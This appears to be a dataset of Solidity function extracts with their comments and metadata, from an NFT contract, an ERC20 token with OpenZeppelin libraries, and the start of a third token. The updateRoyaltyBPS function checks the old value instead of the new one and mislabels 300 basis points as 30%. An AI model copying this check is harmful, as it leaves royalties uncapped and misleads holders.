contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
royaltyInfo
function royaltyInfo(uint256, uint256 _salePrice) override external view returns ( address receiver, uint256 royaltyAmount) { return (owner(), (_salePrice * royaltyBPS) / 10_000); }
// ERC2891 royalty function, for ERC2891-compatible platforms. See IERC2891
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 790, 981 ] }
14,833
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
updateRoyaltyBPS
function updateRoyaltyBPS(uint8 newRoyaltyBPS) public onlyOwner { require(royaltyBPS <= 300, "No royalty greater than 30%"); royaltyBPS = newRoyaltyBPS; }
// Update it need be, but no ability to rug
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 1029, 1189 ] }
14,834
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
tokensOfOwner
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index ...
/* * Get the tokens owned by _owner */
Comment
v0.7.6+commit.7338295f
{ "func_code_index": [ 1460, 1921 ] }
14,835
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
mint
function mint() external payable nonReentrant { require(nextTokenId <= MAX_TOKENS, "We are at max supply"); require(hasSaleStarted, "Sale hasn't started"); require(msg.value == SHARD_PRICE, "Ether value required is 0.069"); _safeMint(msg.sender, nextTokenId++); }
/* * Main function for the sale * * prerequisites * - not at max supply * - sale has started */
Comment
v0.7.6+commit.7338295f
{ "func_code_index": [ 2041, 2325 ] }
14,836
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
mintWithShard
function mintWithShard(uint tokenId) external payable nonReentrant { require(hasSaleStarted, "Sale hasn't started"); require(msg.value == SHARD_PRICE, "Ether value required is 0.069"); // Duplicate this here to potentially save people gas require(tokenId >= 1229 && tokenId <= 1420, "Enter a sharId from 1229 to ...
/* * Buy the token reserved for your shard * * Prerequisites: * - not at max supply * - sale has started * - your wallet owns the shard ID in question * * Example input: To mint for FNTN // 137, you would not input * 137, but the tokenId in its shared contract. If you don't know this * ID, your best bet is...
Comment
v0.7.6+commit.7338295f
{ "func_code_index": [ 2813, 3537 ] }
14,837
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
calculateSelector
function calculateSelector() public pure returns (bytes4) { return type(IERC2981).interfaceId; }
// TODO: selector for 2981 // Handy while calculating XOR of all function selectors
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 3626, 3726 ] }
14,838
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
supportsInterface
function supportsInterface(bytes4 interfaceId) public view override(ERC165) returns (bool) { return ERC165.supportsInterface(interfaceId); }
/** * @dev See {IERC165-supportsInterface}. */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 3783, 3931 ] }
14,839
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
tokenURI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked( baseURI(), Strings.toString(tokenId), "/index.json" )); }
/** * @dev See {IERC721Metadata-tokenURI}. */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 3987, 4268 ] }
14,840
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
contract ThisShardDoesNotExist is IERC2981, ERC721, Ownable, ReentrancyGuard, FNTNConverter { using SafeMath for uint8; using SafeMath for uint256; using Strings for string; // Max NFTs total uint public constant MAX_TOKENS = 666; // Price in gwei per shard (0.069 ETH) uint public constant SHARD_PRICE =...
setFntnContract
function setFntnContract(address contractAddress) public onlyOwner { fntnContract = FntnInterface(contractAddress); }
// Admin functions
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 4296, 4421 ] }
14,841
ThisShardDoesNotExist
contracts/FNTNConverter.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
FNTNConverter
contract FNTNConverter { /* * The tokenIds are not contiguous in the original contract * Given the id of a shard (the numner in the title, eg "FNTN // 62") * this outputs the actual tokenId in the original shared contract. */ function shardIdToTokenId(uint shardId) public pure returns (uint) { // Ch...
shardIdToTokenId
function shardIdToTokenId(uint shardId) public pure returns (uint) { // Check up front for a valid id. Saves gas on failure, but also on valid // shardIds we can save some gas by not needing SafeMath function calls require(shardId >= 1 && shardId <= 175, "Enter a shardId from 1 to 175"); uint tokenId = 0; i...
/* * The tokenIds are not contiguous in the original contract * Given the id of a shard (the numner in the title, eg "FNTN // 62") * this outputs the actual tokenId in the original shared contract. */
Comment
v0.7.6+commit.7338295f
{ "func_code_index": [ 240, 1552 ] }
14,842
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** ...
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 94, 154 ] }
14,843
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** ...
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 235, 308 ] }
14,844
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** ...
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 530, 612 ] }
14,845
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** ...
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 889, 977 ] }
14,846
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** ...
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 1639, 1718 ] }
14,847
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** ...
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 2029, 2131 ] }
14,848
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 259, 445 ] }
14,849
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 721, 862 ] }
14,850
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 1158, 1353 ] }
14,851
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 1605, 2077 ] }
14,852
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 2546, 2683 ] }
14,853
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 3172, 3453 ] }
14,854
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consumi...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 3911, 4046 ] }
14,855
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 4524, 4695 ] }
14,856
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codeha...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 606, 1230 ] }
14,857
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 2158, 2560 ] }
14,858
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 3314, 3492 ] }
14,859
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 3715, 3916 ] }
14,860
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 4284, 4515 ] }
14,861
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 4764, 5085 ] }
14,862
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender...
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 493, 577 ] }
14,863
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender...
renounceOwnership
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 1131, 1284 ] }
14,864
ASTROLEND
ASTROLEND.sol
0xb0c9fe0984a19ea1dbf262137c54d6c56dc49408
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender...
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://48ab3a44c35bde7311756db3cc964abf30fb7a03ef155667fce8d25a528b530a
{ "func_code_index": [ 1432, 1681 ] }
14,865
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
SUPPLY_CAP
function SUPPLY_CAP() external view returns (uint256) { return _supplyCap; }
/** * @notice Returns Supply Cap (maximum possible amount of tokens) */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 990, 1085 ] }
14,866
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
name
function name() public view virtual override returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 1150, 1255 ] }
14,867
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the name. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 1361, 1470 ] }
14,868
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
decimals
function decimals() public view virtual override returns (uint8) { return 9; }
/** * @dev Returns the number of decimals used to get its user representation. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 1572, 1669 ] }
14,869
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
